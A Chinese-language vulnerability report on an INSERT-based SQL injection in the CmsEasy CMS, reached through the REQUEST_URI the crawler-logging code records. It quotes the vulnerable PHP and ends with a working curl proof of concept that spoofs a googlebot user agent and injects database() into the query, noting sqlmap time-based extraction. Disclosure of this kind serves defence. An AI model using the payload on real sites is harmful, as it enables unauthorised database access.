### 简要描述：
这几天在尝试做一款PHP源码审计工具，匹配一些初步的规则时扫出来的，并非针对，感谢CmsEasy~
### 详细说明：
还是INSERT注入，/index.php下有一个stats::getbot();这个方法在做什么呐？
/lib/table/stats.php
```
public static function getbot() {
$ServerName = $_SERVER["SERVER_NAME"];
$ServerPort = $_SERVER["SERVER_PORT"];
$ScriptName = $_SERVER["SCRIPT_NAME"];
$QueryString = $_SERVER["QUERY_STRING"];
$serverip = $_SERVER["REMOTE_ADDR"];
$GetLocationURL=self::geturl();
$agent1 = $_SERVER["HTTP_USER_AGENT"];
$agent=strtolower($agent1);
$Bot="";
if(strpos($agent,"googlebot")>-1) {
$Bot = "Google";
}
if(strpos($agent,"mediapartners-google")>-1) {
$Bot = "Google Adsense";
}
if(strpos($agent,"baiduspider")>-1) {
$Bot = "Baidu";
}
if(strpos($agent,"sogou")>-1) {
$Bot = "Sogou";
}
if(strpos($agent,"yahoo")>-1) {
$Bot = "Yahoo!";
}
if(strpos($agent,"msn")>-1) {
$Bot = "MSN";
}
if(strpos($agent,"soso")>-1) {
$Bot = "Soso";
}
if(strpos($agent,"iaarchiver")>-1) {
$Bot = "Alexa";
}
if(strpos($agent,"sohu")>-1) {
$Bot = "Sohu";
}
if(strpos($agent,"sqworm")>-1) {
$Bot = "AOL";
}
if(strpos($agent,"yodaobot")>-1) {
$Bot = "Yodao";
}
if(strpos($agent,"iaskspider")>-1) {
$Bot = "Iask";
}
if(strlen($Bot)>0 &&!front::get('admin_dir')) {
$stats = self::getInstance();
$insert = $stats->rec_insert(array('bot'=>$Bot,'url'=>$GetLocationURL,'ip'=>$serverip,'time'=>date('Y-m-d H:i:s'))); //当发现是爬虫机器人时记录一来，这个$GetLocationURL是self::geturl();获取的
}
}
```
看geturl()方法：
```
public static function geturl() {
if(!empty($_SERVER["REQUEST_URI"])) { //这里很明显的，从REQUEST_URI获取，是的，这样绕过了过滤，过滤方法见/lib/tool/front_class.php约328行
$scrtName = $_SERVER["REQUEST_URI"];
$nowurl = $scrtName;
}else {
$scrtName = $_SERVER["PHP_SELF"];
if(empty($_SERVER["QUERY_STRING"])) {
$nowurl = $scrtName;
}else {
$nowurl = $scrtName."?".$_SERVER["QUERY_STRING"];
}
}
return (isset($_SERVER["HTTPS"])&&$_SERVER["HTTPS"] == "on")?'https://':'http://'.$_SERVER['HTTP_HOST'].$nowurl;
}
```
REQUEST_URI是不会自动urldecode一次的，而新一点的浏览器都会自动编码，所以在命令行下curl最佳：
比如：
```
curl -A "this is googlebot" "http://localhost/test/CmsEasy/index.php?a=','','2000-1-1'),(database(),'2"
```
CmsEasy默认不报错，这点很好，所以想真正获取点数据啥的估计得用sqlmap延时了，只做分析
当然，以上过程是在发现注入点之后又补充的...直接REQUEST_URI,HTTP_USER_AGENT扫到的
### 漏洞证明：
详细说明已经很全了...
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